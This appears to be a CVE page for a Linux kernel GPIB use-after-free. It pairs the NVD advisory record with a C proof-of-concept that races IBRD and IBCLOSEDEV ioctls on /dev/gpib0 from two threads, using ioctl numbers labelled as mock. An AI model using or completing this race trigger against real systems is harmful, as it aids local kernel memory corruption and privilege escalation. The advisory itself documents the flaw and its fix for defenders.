CVE-2026-31769

#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <pthread.h> // Mock IOCTL definitions for the GPIB driver #define IBRD 0x1 #define IBCLOSEDEV 0x2 int fd; volatile int running = 1; // Thread function to continuously trigger the read operation (IBRD) // This attempts to use the descriptor while the mutex is released internally. void* thread_read(void* arg) { char buffer[1024]; while (running) { // Issue IBRD ioctl which releases big_gpib_mutex during operation ioctl(fd, IBRD, buffer); } return NULL; } // Thread function to trigger the close operation (IBCLOSEDEV) // This attempts to free the descriptor while the other thread is using it. void* thread_close(void* arg) { while (running) { // Issue IBCLOSEDEV ioctl to potentially free the descriptor ioctl(fd, IBCLOSEDEV, 0); // In a real scenario, we might need to re-open the device // to continue the race, but this illustrates the concept. } return NULL; } int main() { // Open the GPIB device node fd = open("/dev/gpib0", O_RDWR); if (fd < 0) { perror("open"); return 1; } printf("Starting race condition on CVE-2026-31769...\n"); pthread_t t1, t2; pthread_create(&t1, NULL, thread_read, NULL); pthread_create(&t2, NULL, thread_close, NULL); // Let the race run for a few seconds sleep(5); running = 0; pthread_join(t1, NULL); pthread_join(t2, NULL); close(fd); printf("Exploit attempt finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-31769", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:40.090", "lastModified": "2026-05-11T17:56:52.220", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngpib: fix use-after-free in IO ioctl handlers\n\nThe IBRD, IBWRT, IBCMD, and IBWAIT ioctl handlers use a gpib_descriptor\npointer after board->big_gpib_mutex has been released. A concurrent\nIBCLOSEDEV ioctl can free the descriptor via close_dev_ioctl() during\nthis window, causing a use-after-free.\n\nThe IO handlers (read_ioctl, write_ioctl, command_ioctl) explicitly\nrelease big_gpib_mutex before calling their handler. wait_ioctl() is\ncalled with big_gpib_mutex held, but ibwait() releases it internally\nwhen wait_mask is non-zero. In all four cases, the descriptor pointer\nobtained from handle_to_descriptor() becomes unprotected.\n\nFix this by introducing a kernel-only descriptor_busy reference count\nin struct gpib_descriptor. Each handler atomically increments\ndescriptor_busy under file_priv->descriptors_mutex before releasing the\nlock, and decrements it when done. close_dev_ioctl() checks\ndescriptor_busy under the same lock and rejects the close with -EBUSY\nif the count is non-zero.\n\nA reference count rather than a simple flag is necessary because\nmultiple handlers can operate on the same descriptor concurrently\n(e.g. IBRD and IBWAIT on the same handle from different threads).\n\nA separate counter is needed because io_in_progress can be cleared from\nunprivileged userspace via the IBWAIT ioctl (through general_ibstatus()\nwith set_mask containing CMPL), which would allow an attacker to bypass\na check based solely on io_in_progress. The new descriptor_busy\ncounter is only modified by the kernel IO paths.\n\nThe lock ordering is consistent (big_gpib_mutex -> descriptors_mutex)\nand the handlers only hold descriptors_mutex briefly during the lookup,\nso there is no deadlock risk and no impact on IO throughput."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/28c75dd143ead62e0dfac564c79d251e21d5d74b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/cae26eff1b56d78bed7873cf3e60a2b1bdd4da6c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d1857f8296dceb75d00ab857fc3c61bc00c7f5c6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}